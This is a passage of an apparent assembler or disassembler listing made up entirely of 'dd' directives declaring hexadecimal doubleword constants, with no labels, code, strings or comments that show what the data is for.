0F400FCE3h, 0F0FDEB64h, 0F81173CDh, 1D18DE6Fh dd 8AA7Ch, 0E0D44D9Eh, 703C1AE5h, 7C049F0Eh, 0D9DD43F8h dd 0F561031Ch, 1D9538BBh, 690758A3h, 239E6C7Eh, 0DD1219C0h dd 0AFA700E5h, 426533CEh, 0E11CDEC0h, 89C0ED1Dh, 6C382A10h dd 231B189Ch, 6929C85Ch, 26AEBC58h, 9481BC11h, 0CB65DBDCh dd 5284C083h, 0D7E05EF2h, 16007AA0h, 0A8576C62h, 7BE84Dh dd 1A13E0CEh, 0C7D4F65Ch, 0EA52100h, 667543C3h, 0AA575809h dd 8AC10107h, 996CA04Ah, 30004E9Eh, 45A498B8h, 17D4F02h dd 914CAA18h, 4020799Dh, 6D4085F1h, 1B41BD00h, 0C2A02667h dd 0BCBA503Ah, 0FACB002Eh, 75F35035h, 8D079B2Ch, 2481B09Dh dd 0A180B645h, 0F6FACB1h, 4E778851h, 61C9BA80h, 2036BA4h dd 0DD7F3C73h, 4A96C03Bh, 27AF00A6h, 777C4862h, 16004CD1h dd 0A80B47E6h, 92E9967Dh, 36E40A04h, 0BCC8193Ah, 0E0AA0452h dd 629914h, 410AE133h, 87057AF1h, 0C5273D00h, 0CA2F4CADh dd 0E2A10FB6h, 79016278h, 0D05FB77Ah, 330049C1h, 157405ECh dd 34239E3h, 0B516EE09h, 59B3D73Eh, 437D7CB0h, 1700E8F4h dd 8EE6C15h, 3E8A7F87h, 0E1006120h, 0E9307859h, 0AB026243h dd 4CA113E5h, 115FE1EAh, 3A81644Ah, 40EB4EA3h, 0B984E504h dd 5B00EA7Ch, 0B6A4D30Dh, 7F17FF5h, 0DBDA4EA1h, 0E4B09051h dd 0EC62BA62h, 22DF9C28h, 0D622EEE3h, 20E624A7h, 80A64811h dd 0A988EF57h, 9CA895Dh, 51943B31h, 1311143Bh, 82E2153h dd 6F94A0A2h, 0A69E1150h, 28BB5211h, 0D3421462h, 0B5E9E308h dd 6B845610h, 64C74A6Ch, 2930EB0Ch, 0B53CA3FAh, 502B140Ah dd 29313F0Ch, 0ED43205Eh, 5175A422h, 39D1289Fh, 14820212h dd 8322778Ah, 49AC03D2h, 62BB4DE0h, 3F30D000h, 96A8EF37h dd 22920187h, 0E67EEE12h dd 849BF83Bh, 3D39DF00h, 6288969h, 0BF3700D8h, 0FC19CFD6h dd 9B00D797h, 35BC57D3h, 8B563Bh, 0F4F137A2h, 13374B1h dd 8E9EB03Fh, 608F90EFh, 0D71AFA45h, 94FD00BEh, 0EBF86AACh dd 1B000D4Bh, 64B86134h, 1EF2E8D5h, 0D87A98ADh, 431E1065h dd 21EDAE00h, 0D0F7A2B1h, 0B0A7008Fh, 0AD67E0BDh, 0B800E2BAh dd 9A9EC4E9h, 440FCAh, 0F87274D0h, 0FF7D58C8h, 8F7B500h dd 135B702Eh, 4C90F4h, 4F3F0C27h, 0E20E8963h, 0C32C9A1Ch dd 0B75F940h, 0FAFA0h, 9E4F9302h, 0E1554FBh, 8091D938h dd 7CB1C95Dh, 0D7DA9Ch, 18DC3DCDh, 0D0FD67D1h, 2B787B00h dd 2EF597E2h, 0BEB8FFh, 0CC0CB8B2h, 7D9E92FCh, 6C478600h dd 9119E17Bh, 0C46D071Fh, 97FCC142h, 0A2F1A26Fh, 0C8B79C41h dd 0BD33CF60h, 0D08DA1F4h, 41728Bh, 34AF1F68h, 706185DAh dd 10867100h, 0CEACA224h, 17AA39A0h, 4D180A80h, 0CF79DCC0h dd 0D4954600h, 0CD39F2F7h, 0E1E20017h, 9C585A16h, 0A000A70Bh dd 37135F08h, 97C3288h, 7A5667B4h, 0D1B81F00h, 0DF3AFD2Dh dd 85AF8024h, 789A0BAEh, 5B9D3898h, 1CC4CC87h, 2C103093h dd 21D3245h, 0E1C3D268h, 0B8308FF4h, 598A1Bh, 0A6FE9B33h dd 0A9ED7EBFh, 0C50FAB1Dh, 80F6E20Fh, 0A066E0D9h, 97FAA094h dd 49E10069h, 8A1236C3h, 857D4FF0h, 59880312h, 0EC5B6E00h dd 4C64B7C8h, 610038D3h, 1ED0B0C2h, 5500431Bh, 2C44B683h dd 0ED03A4h, 9A5A5F86h, 59B27609h, 523EF2E8h, 61680E1h dd 7D8A5DBAh, 625301EAh, 4E146117h, 35BBE886h, 0CE9B7F00h dd 0F7AB05A3h, 0BD3F0047h, 0DD93D408h, 0F2007225h, 45E1D8D6h dd 3CF45122h, 0D08FEDE8h, 0B740FD12h, 0C02A94A4h, 0AFE03678h dd 0B8ED2C00h, 90EA40CCh, 4A153957h, 1EDE3D00h, 5489C9ACh dd 66950D00h, 0C20787BAh, 5D090039h, 4D8C8688h, 0A604E8D6h dd 0C1759476h, 0A179B8D1h, 0F8C420h, 19176911h, 12284FEAh dd 97188600h, 0A41A333h, 2890A6h, 30230BF2h, 315FA8Fh dd 32140909h, 450C07D5h, 0E06C2E63h, 12A00FAEh, 0EE0CC3h dd 56D433E4h, 0E0903C24h, 19609A00h, 0BE5F8E10h, 0EA9B3A05h dd 4C3FE780h, 0B2ECF31h, 0E691DB00h, 0AAB35467h, 0BD920E1Dh dd 0E0944751h, 8C4DB002h, 0C100E0C7h, 0EF110A2h, 742C7D79h dd 0CC249341h, 974CE83Ah, 7BB9BC00h, 0B8541629h, 36C800A8h dd 64768D41h, 0EA00FD1Bh, 0C4F3F95Ah, 103373F7h, 1DB8282Eh dd 9C03ADFh, 2FCF9AB4h, 5AFB00F4h, 24440164h, 9E01973Dh dd 0A3542707h, 0CDC0F76Fh, 9D11EE5h, 40F343F6h, 4CB867D9h dd 0E0007DA1h, 0D4759C27h, 1B0E70h, 2DCDD6AFh, 8940F00Bh dd 0BFBCAA01h, 39F7F3Dh, 0D566F8h, 0ECC268C0h, 0D4880EF2h dd 0CABE801h, 0BCCE7709h, 3AB527F0h, 200EFDADh, 0A6E0B238h dd 7CC77935h, 84F26002h, 682EFC92h, 0F8438D10h, 2EC5C9Ah dd 0BF4728h, 0AA4DBA33h, 50FD54C4h, 0C6A5CCF7h, 0CD7A4612h dd 0BFDD5900h, 1FE4EC49h, 0C0B30EABh, 0FA4611A6h, 5A1CA94Ah dd 5040CB79h, 0DDC459A2h, 0FFD20027h, 0B69326D6h, 9D00AD7Fh dd 9C366E88h, 7C5E4511h, 0C52F0787h, 0E04AABF4h, 9040EC70h dd 0CBDBC100h, 0A2D0665Ch, 68F1001Ch, 0EB832BC0h, 9900B5A4h dd 78018088h, 90B120A5h, 0C6E9003Eh, 0ACE06BF5h, 0E402D260h dd 0A82D0840h, 0C46344h, 47B4F9F8h, 727C9197h, 5BD6CC1Fh dd 0A2CAE580h, 409A0Ch, 7F142FD4h, 29320D01h, 4E24D513h dd 15508A00h, 1CC3C21h, 9861FDEFh, 0D82B770Dh, 4200FC8Eh dd 85B5DF32h, 151FFB2h, 0B348756Ch, 0F05F8764h, 2E488B4Bh dd 29AF001Ch, 0AE6047A3h, 97991CB6h, 89F4994h, 0C6B08480h dd 1500E9F6h, 0D4D63246h, 314EFEh, 6444392h, 0EEF77128h dd 2D652318h, 0D63850h, 9B5E3C1Eh, 9E8D60A2h, 73CDA49h dd 0C965752Bh, 0ECF30059h, 0F59BE21Dh, 90CC06D0h, 304E77E4h dd 0F39462E5h, 0EE000F83h, 3173AFA9h, 0BDC0D605h, 0DA004CF8h dd 473E4F45h, 1E77E8EFh, 40B5FAB9h, 5018A1BEh, 0B1008ECCh dd 0E89DAEABh, 76DF60h, 6E21F6B0h, 83991BAFh, 0D3115101h dd 0E92939CAh, 1233C20h, 0D1E66BDh, 0E0AA7B53h, 0F40017FDh dd 0FEF1CB48h, 145A67Ah, 0FBCF9BF0h, 404BACFAh, 0AB109DE4h dd 0DF00727Eh, 1BA96FC6h, 7417CCh, 6D9F7E26h, 0F84F11EBh dd 0C7E73E00h, 0F91EAA0Dh, 19E48Ch, 0A62281E9h, 0A66CD90h dd 0E60317F8h, 2D319783h, 5EE8F13Bh, 0E3E7CCh, 18F7014Dh dd 0BCB9D0Ch, 80CC7838h, 1B5217C7h, 16651Ch, 8EABD43Fh dd 11C22251h, 0DCA96A01h, 0C6CCA3EBh, 0D687D0h, 46DB6FEDh dd 0FEB55EC4h, 0C8369500h, 3EE7578h, 39510001h, 8FE4B82Ch dd 0BF0E4110h, 5EC5A7C1h, 316D9740h, 9A1C07h, 6098F890h dd 0B34AE2Bh, 10491B00h, 9B21ACC0h, 0BDA50031h, 0A9EAE693h dd 4B2C2533h, 8100A7F5h, 5BC971C5h, 69630FADh, 0FCC01821h dd 22E81288h, 0D5070A00h, 781D5BEEh, 75F283h, 8B577BF8h dd 20763406h, 0B9CFDC00h, 53BD213h, 0E0F900D8h, 30CC5A4h dd 3D004BAAh, 8DBD1A96h, 0EC461B39h, 0F9C70CB5h, 7F103801h dd 1FCF6500h, 5CF8A28Ah, 0B08F0035h, 34537A5Dh, 0B4036081h dd 8926E1A1h, 0D6940333h, 0F68B68A6h, 0F1F439B0h, 0B70FE800h dd 1520ABE2h, 0D202000Bh, 0C031740Dh, 5C00173Bh, 923208A2h dd 39369DCh, 7DB1C7DBh, 0BEB8EDD2h, 410018D5h, 6E405F02h dd 3FC70C09h, 6200C130h, 6D5A48DCh, 2A005BA4h, 12FE8266h dd 3F6E5447h, 5EAEF9DBh, 0A813006Ah, 557C07D4h, 898B5613h dd 7EB8E10Eh, 0D72FAA40h, 0B9C9F7h, 0A6D02640h, 183D51C6h dd 7B039A07h, 4DC0D502h, 50CDDA30h, 1A9840Bh, 0FC9CB007h dd 0F093EE3Ah, 8B0F8A8Ch, 0C0FD7656h, 0BE7E5E71h, 4CD401EAh dd 0B9AF64F6h, 621BD42Dh, 3FC4CE00h, 41137FABh, 5CAA0031h dd 1822328h, 9F00C1F2h, 48ADD493h, 14FECFCh, 13F85B9Ch dd 0C4E09B72h, 69007879h, 0AF2DF130h, 3698C5h, 244B2339h dd 40048C5Ah, 54BA4Ch, 0F50761C0h, 0EE11E4h, 0F335DEA1h dd 904A339Fh, 61AD6E0Fh, 0FBA0E037h, 97E9D8BEh, 0EEDEA560h dd 0AD7A3C00h, 9C05D617h, 0D1E83B90h, 0CB91AE01h, 0F76189EBh dd 0DC01FAA8h, 76B25Ch, 48DFB36Bh, 2977458h, 0B11B8357h dd 8780E681h, 8DF94935h, 0D5469C00h, 3AA7C063h, 81A0A012h dd 0C41B54AAh, 65AF0738h, 622EF637h, 0C0802207h, 0B0A74856h dd 4E8DE11Eh, 431200BEh, 0BE50F47Eh, 8A580E10h, 0FAC31163h dd 0DCA9BD48h, 4490806Ah, 9AC37EB8h, 0EC458B5h, 0F4315914h dd 9272E00Fh, 0D35BAEh, 32BBA272h, 24004A7Bh, 5C3594A0h dd 0ECB761h, 300B898Fh, 0ED450CA8h, 0FE016018h, 478F6h dd 0C7C38E0Ah, 0F7E851BAh, 8068DC38h, 9C862064h, 50858219h dd 3ABB1CBh, 7A834FB2h, 0DCB048F1h, 80009EA3h, 12359C6Fh dd 0AE2D19h, 868DA442h, 0DF751C60h, 9D6B3B3Ch, 80BE12B2h dd 85F75BCDh, 60D93D1Eh, 0A338391Fh, 423FCAEEh, 91FB09E5h dd 1BCA0323h, 60200034h, 0EC9E72CFh, 1400B83Ah, 0E36D8CA2h dd 0C1B2E261h, 0C1985361h, 0CD0220E7h, 2D025412h, 389C1F00h dd 7DDB9655h, 0A837074Ah, 100D4686h, 252D0FBh, 0FCF530C0h dd 0F1435DBh, 0D8EF973Ch, 8F4803C0h, 8500F0C9h, 0E84DF588h dd 388BE49Eh, 0BE24E9CBh, 5543004Ch, 107CC9EDh, 0CA514CA8h dd 2CD8BC07h, 0A720223Ah dd 270601h, 0D7157E3Ch, 0DD0440BEh, 10EF8600h, 76699312h dd 0C7910065h, 0CFDD6BBh, 7200A670h, 4E31398Fh, 0E87FBDBh dd 76C70B74h, 0B1E43FE0h, 0FC074A80h, 11147C3Bh, 0AB33B4D3h dd 643EA0D7h, 0BC4E00EEh, 0DCA877E6h, 0AF013A40h, 82E8D20Dh dd 58F8B18Ah, 0F6700146h, 2C3F756Eh, 0FDD4306Fh, 8007FF3Dh dd 0EED65253h, 967480h, 5ED914F2h, 58EDEB88h, 0B8BBC400h dd 0A48ACF9Eh, 391B007Bh, 9317E732h, 0EC0038DDh, 209B6A23h dd 28882633h, 0F0D3B1h, 8D5A5708h, 1CB5E63Fh, 0F231907h dd 0A1714927h, 35EC0C7Ah, 332A0051h, 3DD670F8h, 0A4005B09h dd 0A18E878Ah, 1684EFh, 8CCC8B15h, 32AFCD3Bh, 60D48830h dd 3BDCD050h, 680A2ABh, 0CBF1719Fh, 350013BDh, 2685C736h dd 0DF2C10h, 11D3F68Ah, 0E3AF9B3Eh, 0A07A3Dh, 53646109h dd 0BFA5Fh, 1FAE3598h, 0AB3DBAFBh, 20BB4703h, 0D0699224h dd 1427ED3h, 35AA8C48h, 206EEF76h, 8F00C3B2h, 14954046h dd 20488E2h, 80A69D37h, 41D5EA13h, 0B8DC77F5h, 5D730070h dd 31E6F3Fh, 880053E4h, 8DF043FBh, 79A7B479h, 10FD00ABh dd 0A662D640h, 1300FB5Ah, 0CC8EDDB2h, 3B82C796h, 48CD37AEh dd 0E6D9F100h, 925AF229h, 1628C601h, 0ABBFF665h, 867E7D10h dd 483F1401h, 0AF113DC1h, 0F3DC20h, 0F6FC9990h, 0EBBA8591h dd 0F0EF3607h, 0CE30CD41h, 456F716h, 15BF1311h, 918080BCh dd 18000B36h, 7E9A71E4h, 0EAB8B364h, 38898D5h, 8CD4468Dh dd 95E0EABCh, 2D00F526h, 0A1BB4BFAh, 0F5AFDD8h, 8F5380D4h dd 9BD70A2h, 85E19540h, 0B6089EDh, 4AB00054h, 96AC42h dd 4F27AF15h, 8C3C315Eh, 77EF3820h, 4EAD1074h, 1621007Dh dd 5759CFF2h, 69B01886h, 3376187Ch, 561B8201h, 409CC5CBh dd 37A5F0h, 0F6D19F34h, 0CD6F579Eh, 0E130E930h, 7D5DA0h dd 4E8F9212h, 0CDDDD76Eh, 87A5B700h, 0C2ED1172h, 0A1050021h dd 7160EF98h, 0EA3CD607h, 5EFD0091h, 83B3B28Ch, 627900A1h dd 39DEA46Ch, 0AC0284A7h, 0AA3E74DBh, 8EB8013h, 46B404h dd 54D891E6h, 0D66A2DBFh, 0C4957F05h, 8D0825Ah, 0ECDA9h dd 0A8FFC70Dh, 0D449202Ch, 3D0A7C00h, 0D3285352h, 0DE9841h dd 91873E0Ch, 0B57FFAF8h, 9E4CBCE6h, 0B463005Ch, 66EF3BC8h dd 0C92E0E7Dh, 64A32F43h, 0CEB32059h, 9435B098h, 0A5053A09h dd 0FB6C0080h, 0E1AA49h, 0A6D5DC51h, 0FDF4A1B2h, 10A6D5Ch dd 8123DB8Ch, 0F1CCECD0h, 0E27B0058h, 5729AC7Ch, 9D00127Fh dd 0A4B61A19h, 774B2DFh, 79AD95F5h, 39BBF00Dh, 0C60080E5h dd 5F324A20h, 0EBF930h, 0D947F8EEh, 871626D0h, 5B846506h dd 12C893F5h, 403EFFB7h, 6BA9427Ch, 0C90E83AAh, 605ED8F8h dd 0FC7E4C09h, 0F7663938h, 1AB7C73h, 7CA6E8BCh, 2046D251h dd 210F7554h, 0A0A88253h, 99ABEB8Bh, 2B0D00F5h, 2DCBDEA0h dd 0A6EACD1Eh, 7F0693Eh, 0CC65196Fh, 0C7C02A57h, 0F828EC79h dd 0CA7E1C60h, 0BDC38598h, 31C38090h, 374EAF8h, 7E0E3400h dd 4FAAF2CFh, 8C2430ACh, 0EEF5285Ah, 58D9F009h, 0D07C0047h dd 263D4ED7h, 57D639h, 16B89108h, 8FFE70F4h, 1D025300h dd 4B9343C8h, 0B6D00018h, 0BE1F3794h, 85006947h, 0AE5F1C51h dd 5F52046h, 0C05C06A7h, 0F39C08EFh, 0FD727900h, 0F44313Fh dd 37EA20BFh, 0A3DC4092h, 36287BE8h, 38B8AC7Ch, 0E2F9BF00h dd 0FC90094Bh, 0EF251CA9h, 107AC75Bh, 0F8A69359h, 11E84EDBh dd 0FE007B79h, 9D462636h, 94F103h, 1BEA3D04h, 0B69672ABh dd 0CAA55A05h, 0E40098C5h, 69EFB333h, 3B8E202h, 1C79BC21h dd 0D094C190h, 1FD7B330h, 4B1BA102h, 22A241h, 5209B1C5h dd 0B6F51300h, 0DF884A40h, 0E8EE6776h, 5FFFA069h, 77BCE9Ah dd 0E19DD3Bh, 0C0F0945Ah, 0D66751Bh, 0D649275Dh, 0F5A0A7C0h dd 41C426FEh, 8820B78Eh, 3400843Ch, 0E33C9FCh, 5D018C97h dd 502FC62h, 0B4D129F0h, 0C50C2040h, 0A35191Ch, 3800BED2h dd 5F604E3Ch, 21F03A07h, 3D1A0380h, 25B747E9h, 48444600h dd 1828E7E2h, 2EDD4857h, 0B6F9C200h, 34A2177Fh, 2A3E5D00h dd 0D7A72229h, 61DCFF04h, 4A7200BAh, 2D701077h, 4348BFA1h dd 67FC7678h, 83579618h, 0C1A95Eh, 7CD55C1Fh, 21AF2EBEh dd 9BAE5107h, 8290DA3Ah, 0FDB18B8h, 6983D92Dh, 96E65A60h dd 0A930404Fh, 0FFAF6860h, 0AB2D00C2h, 0B93C191h, 2A065236h dd 22ED3D70h, 7E450h, 44B66662h, 206F5E02h, 9B608000h dd 2F9CBC7Dh, 0A3A2007Eh, 9E8A0A65h, 700D4B5h, 211C2E40h dd 3E612350h, 318089D1h, 3E1E0F5Ch, 0CB00E995h, 5416FE87h dd 3011CAFFh, 9A70B889h, 6F03AD66h, 10A0F253h, 0B5191D92h dd 40BC9C61h, 8419689Dh, 1200BFDCh, 0B7C22583h, 5BDD34h dd 8218DE9Bh, 0E0C4A554h, 7B4FED01h, 1023FBADh, 1E3D25D0h dd 80897006h, 0C24145EAh, 54004749h, 67EB23E5h, 13211393h dd 1E37BC0Ch, 55524030h, 6E3AFA20h, 0C1A44800h, 9ABA1A4Ch dd 0F898A322h, 0FE4051CEh, 0FC0E731Fh, 90F80092h, 9A100D86h dd 7800F65Ch, 4FAD355h, 0F3AA72BBh, 106034h, 624864A2h dd 50D161Fh, 884620DDh, 7F88DCDh, 8E0A4282h, 3FD0D0B4h dd 9324F8D8h, 2A077CDCh, 75515262h, 6E202D8Eh, 648800F9h dd 0AEEEB068h, 2F123CA3h, 0F804E955h, 7880F082h, 7BE84FA2h dd 656E0479h, 0D35238ABh, 7BC861B8h, 0FB0008BAh, 5027F4D4h dd 4983BBB7h, 2280B85Eh, 0EFB271FAh, 0FDF30C0h, 133215Dh dd 399DC7D2h, 0F878F707h, 3D00AD47h, 171C801Dh, 0D92676h dd 309E9ADBh, 4A0C24C0h, 860F7A00h, 79454B6Dh, 0D86B2609h dd 10B68050h, 98BA1B0Ch, 2A344704h, 0E48D7494h, 4494C1Ch dd 0D77009FBh, 16D89010h, 8F00F19Dh, 0C8F84869h, 1F45B7B4h dd 0C5D2EE05h, 82A9A204h, 61C0F244h, 0BDFA10ACh, 0AC55052Eh dd 8056BDBCh, 4B152A58h, 0C93A6h, 0E5998764h, 0FCE695CEh dd 43DCE800h, 1C7E908h, 20BF4C26h, 10AA1900h, 56517365h dd 4F0D3300h, 9A6BA3D6h, 765A0011h, 180F831Ch, 0E03ECAF9h dd 2F14986Ah, 952D50h, 9FC08258h, 0A304CB34h, 0B052BF04h dd 0F4C01C8Dh, 9F01267h, 9D3955AEh, 0FEA0B88Eh, 912322CCh dd 0C5479F00h, 0C9464888h, 7F8B7302h, 0CAACA87Ch, 0F532008Eh dd 0F6396BC8h, 9E05FE84h, 0B65227ECh, 7DC0C8CDh, 23AA0792h dd 608313FFh, 8219D89Bh, 0B4D34D00h, 5E8C87A8h, 0E18E161Fh dd 0A174409Eh, 70C4F05h, 5CFAD4EEh, 681C9504h, 80D0C063h dd 671539h, 427BEB58h, 351276CAh, 31C13A00h, 0BA7EB266h dd 0A17282h, 9FAC492Dh, 0E6AF381Ch, 0CE481F01h, 0CA88E310h dd 0A7D6C64h, 191BF049h, 437A03D8h, 0FDF893ADh, 220778FAh dd 0A21AD0F2h, 7EFF12D0h, 6A9F005Eh, 0A3642F3Dh, 3B00A776h dd 7A062B3Fh, 0F6CE8D2h, 287D57E4h, 0FE1785A2h, 3599F2E0h dd 0AF3B6100h, 13DECA8Eh, 60ABEA50h, 0E6EF110h, 8C02F92Eh dd 6B1E7B7Dh, 0B39EC05Eh, 0D8D005Dh, 8F2AD6C1h, 0C30118E1h dd 0FCD0A6CEh, 682002E4h, 41360045h, 0BE1E2EACh, 0C500B64Ah dd 7C22B796h, 9CED03h, 1D667156h, 0CB65EA33h, 9774A601h dd 0C25869EBh, 3900E03Ch, 60E95B09h, 0B3022D7Dh, 2794FC48h dd 17E852B4h, 9259FAh, 76BFDDEBh, 80338424h, 0A05EF0FBh dd 0C6B5C7h, 6FEEB6D4h, 356AF297h, 0B0000FE4h, 0EAC46548h dd 753706Eh, 7BF40BF5h dd 5FF87301h, 0B580A2BBh, 0BA1DB1AAh, 9D041359h, 7B815CC9h dd 71F81408h, 2DA80277h, 32CD4DF4h, 2100A4E4h, 0E112CE2Eh dd 7BB2F7A0h, 37E084h, 0F43005C8h, 8843E301h, 0FCB9ED03h dd 0E0F0DFC1h, 2FBD5192h, 0BF504722h, 4052DE24h, 0C40E101h dd 6F484Ch, 0DCD09C0Ah, 700A4B7h, 7AED3A81h, 7798A5D4h dd 21020056h, 7BF3D50Bh, 2600F187h, 437D33E9h, 96D75E1h dd 1858EC89h, 5FC5400Fh, 461CC088h, 55072E7Eh, 342129A1h dd 605BAB82h, 0AF96A88h, 0B50A1158h, 7C3B00B0h, 0E9DFFF81h dd 877A3E00h, 650F47E4h, 0EDEBA077h, 49D00BBh, 8179998Eh dd 4900F55Fh, 0F70ECF15h, 1B3E42Ah, 6E95A091h, 0DB241C2Dh dd 5A7C3680h, 3A0B6300h, 771A67AFh, 9B530562h, 0D32210E7h dd 0E0A7730Ch, 44CB7AA1h, 7C512A06h, 4A84409Bh, 0D21C00E0h dd 0C23EAD6h, 64AE371Eh, 0E6DDDA00h, 381575h, 0B353C55Fh dd 6E93A0ABh, 0D2273Fh, 2C428F09h, 4640DAh, 38B5FE56h dd 7C71D530h, 0A9EAB600h, 2389A093h, 739D3C83h, 10325000h dd 0C0609C1Ch, 0F4FDE0C7h, 0BF01F930h, 9641007Ch, 8F516594h dd 0C498DAC0h, 4CEF101h, 9A66EF24h, 51EBEECh, 8F342772h dd 1988008Ch, 6FCD6B11h, 8A4CFF00h, 566758FEh, 0F72139ECh dd 0A1BFA600h, 51593BC0h, 1CDD3A0h, 0CFE2DC2Ch, 0E837B101h dd 2430D66Dh, 0F29D0072h, 0F3679F1Dh, 0E35CE76Ch, 0D1D30038h dd 8E122D23h, 1F7A3E6Ah, 9FE18D84h, 3268E0B1h, 82EA6E00h dd 6194BE3Ch, 54D40BCAh, 40205E77h, 97120374h, 0DF320800h dd 0CBC2E8C0h, 2109031Dh, 150A73Ah, 75C11AF0h, 930A5B70h dd 0D0E90AF5h, 34DF7D07h, 0D5E8D830h, 90B301A2h, 0ADC1AF8h dd 35E1CC5Bh, 2126D02h, 0D83259BEh, 0D2E61FA4h, 0F28A8341h dd 0DB0B6A8h, 5C00154Eh, 0AFDDE38Eh, 39780D6h, 0D5DCD914h dd 0CEB85508h, 6D2C0B87h, 848714DEh, 1EE73941h, 300C0089h dd 75158664h, 44F4F06h, 0A0B7AE24h, 809018F8h, 5D046300h dd 0C79D5BB1h, 0A9770C23h, 37E8452Eh, 0E300DA7Eh, 0D2B50C4Ch dd 0E8241ABh, 0EB7CF48h, 79D4A9A0h, 7A001F47h, 96FDCB1Ah dd 1E515AA8h, 405E2536h, 0F381ABB4h, 6A3C698Dh, 6D3009Ah dd 50481368h, 0AAA40054h, 19D6DF91h, 72001AEDh, 0B17B6F6Eh dd 3E5568ABh, 0E603C087h, 1EB0FBA0h, 233B1200h, 0D5FC9BDAh dd 0A3880004h, 37023D05h, 677B7FE9h, 0F4E7D828h, 0EF69900h dd 226D503Bh, 9C86EAF7h, 88B718E0h, 99026195h, 0D76660C3h dd 14F824h, 39146F3Fh, 882EE4CFh, 43DD5900h, 7258B9D1h dd 74890C8h, 69DE994Ah, 901180B0h, 68B27D0Eh, 0BD2E2400h dd 6539D1F1h, 83820002h, 3DEC1A32h, 0D4A0880Eh, 6A018199h dd 5A52814h, 6820F7DBh, 1F5E7548h, 80738415h, 0F4FE3CDEh dd 4C030779h, 6D41CF1Ch, 2846909Ah, 0EA8200D1h, 38F7E8DCh dd 0B9B05FBAh, 6D186300h, 0D68EF054h, 0C72100C2h, 3A70B3AFh dd 0FE2CC4B5h, 4E00E3DDh, 0B8A15B23h, 0F9221D52h, 0AFFF0F19h dd 1E94EE60h, 75FA9B05h, 0C2F67900h, 23CCA4Ah, 0AE1C1EB6h dd 0AD66C088h, 8B328CD3h, 440DCB00h, 0D0BDFF71h, 0A54200D2h dd 0E5D304C4h, 75F8CEC1h, 0F38AD16h, 12599C00h, 0D2B29Dh dd 5EDE92B8h, 76EB0162h, 6CD84801h, 0DB54331Fh, 6756F8h dd 4F74F459h, 0C5D4C7F5h, 0ABB02000h, 47345F28h, 0ACD083Ch dd 6800B141h, 0E33EBAD2h, 109A6Ch, 0CC6238DEh, 0CA2D52E0h dd 0E3001094h, 4D740DF5h, 0D0E40025h, 40A86455h, 0E73F08D4h dd 4200FB89h, 4A7AB53Dh, 3AD72624h, 739EEABEh, 892F4251h dd 0E4606F66h, 0B21212C0h, 0E04F14A3h, 22D9415Eh, 2770CEE3h dd 0F8760E94h, 0DDC0AB39h, 9266DEBEh, 0B7C1F500h, 100C03D6h dd 0CBED00C4h, 95FC7756h, 0F1482EEEh, 87F43CE2h, 4BC1ECDEh dd 54AA6192h, 7B4F0078h, 536E4D0Ah, 0B897100h, 19E8E181h dd 0D47CE50Fh, 40C1351Fh, 1E1A2ED0h, 0D200A76Ch, 819FF334h dd 107A40h, 0E23624ACh, 0C5984AABh, 5C5259h, 0BE44ED61h dd 1CC0ADAh, 455C9E07h, 20D7F782h, 92E5DE7Ch, 0E080712Ch dd 21A3D8h, 311D65F6h, 3F064975h, 0EA00FE7Ch, 0EDA25AEEh dd 925C9B3h, 40F0E361h, 0F46D2C80h, 0BA0041B1h, 9EBCD88Ch dd 3F4F3E7Ah, 59BEFC74h, 0C1A38A03h, 0E6E2EC93h, 0B7B5AC60h dd 1551A500h, 0C78A0D44h, 0CE7305B3h, 804A686Dh, 0EBDCE250h dd 1F8F5B00h, 2DB147FEh, 2CD4A01Eh, 0A3B73B57h, 0D5ECDFh dd 0B9237BC5h, 18803FE4h, 281D1901h, 0D7753D25h, 0FBE7A00h dd 71116AFBh, 0ABDC0EF6h, 15C0A903h, 0E529ED7h, 0E3FBDA05h dd 0D080992Ch, 81F0CB55h, 0EBB03B5Bh, 0D036583Bh, 0D08A3189h dd 43B18040h, 645371Ch, 7C739624h, 8853F943h, 0CB7E94Bh dd 212B7CD1h, 1C12AA30h, 94034ACCh, 90B0BB5Dh, 9BAEB29h dd 93B9AC27h, 0A67D0E0h, 5058847Eh, 0EA590485h, 6CA5654Fh dd 0EC7DD8h, 57A4D8BDh, 0A6DF9F20h, 0D36A2400h, 773CD46h dd 0E529129Bh, 0F83C13BCh, 9D0D392Ah, 750040AEh, 8FF2A960h dd 0B93B00FAh, 76BD733Eh, 0EB0162BAh, 57C9F635h, 24D85DA9h dd 0B0562461h, 1E7E0010h, 6D0CB8Fh, 53312207h, 0ACF0CD48h dd 6895E3h, 0ADBD5F5h, 0EAA86796h, 6D70E00h, 86542840h dd 1BF42E88h, 9FC201E8h, 0E8CF85AEh, 190465A2h, 8220E474h dd 0F801A8C0h, 75D700E2h, 0AE7E1F43h, 76C084D1h, 2CE1DF26h dd 46190239h, 0E39C0CC3h, 2DD8F4E3h, 8675EA98h, 8DD53C04h dd 0B3C4777Fh, 71D118E0h, 14980A9Ch, 0FC8F59h, 219AAD65h dd 8B5C55F9h, 0E3C700D9h, 0B45A889h, 4B500F1h, 0F4DEB309h dd 67001AF0h, 9D927ADDh, 0A52544h, 95708208h, 0BEF25ABDh dd 98CA6209h, 0E0740266h, 7C47E327h, 8FC8A068h, 0C2911E11h dd 0C0255C48h, 15C84CD0h, 0D50F6E55h, 32B806EEh, 0FF299E00h dd 11F3F53h, 2CF49B4Dh, 238CB166h, 12950B98h, 10502039h dd 0C96C8Ah, 244BF9D8h, 6D2FBDFBh, 0D7A35526h, 8E91A00h dd 0CFB0B8h, 88FA585Bh, 15D1BF64h, 0F925E6F8h, 14A48126h dd 24200674h, 4E373DEAh, 73438887h, 0B96CC026h, 405C506Ah dd 0D932014Bh, 0ECEFC063h, 49275C3Ch, 7B1F2C83h, 327F588h dd 64BA8571h, 4DAEAC01h, 0C4C56F7Fh, 6C79C24h, 77247EE7h dd 86001018h, 0D07A5739h, 398FCD59h, 1530273Dh, 10DB6040h dd 703E4BEh, 0C6982FDAh, 311B0178h, 0AFBA20C0h, 0EC462137h dd 2800CB2Dh, 3C8BC272h, 0D62122h, 1583B17Dh, 0EDE19C12h dd 860E28B0h, 0B225A55Ah, 483FD800h, 7C3655h, 3BC88A74h dd 1203BEA2h, 7F906900h, 0F4C2415Ch, 0F0FE00E6h, 9A18201Ch dd 0C4EC989Dh, 0B008D600h, 0C2AD4766h, 429CB6F0h, 7112EFD0h dd 6B1198h, 0B26F33EDh, 75AFD003h, 2ED50FC5h, 496245F5h dd 0AC90E9FAh, 0CC005337h, 3364D5Ah, 0B0CE132Fh, 236A0078h dd 6FF3CD86h, 2014796h, 1FAF48B4h, 9028D37Ch, 0DC10C42Fh dd 0CB01378Fh, 4FD8316Eh, 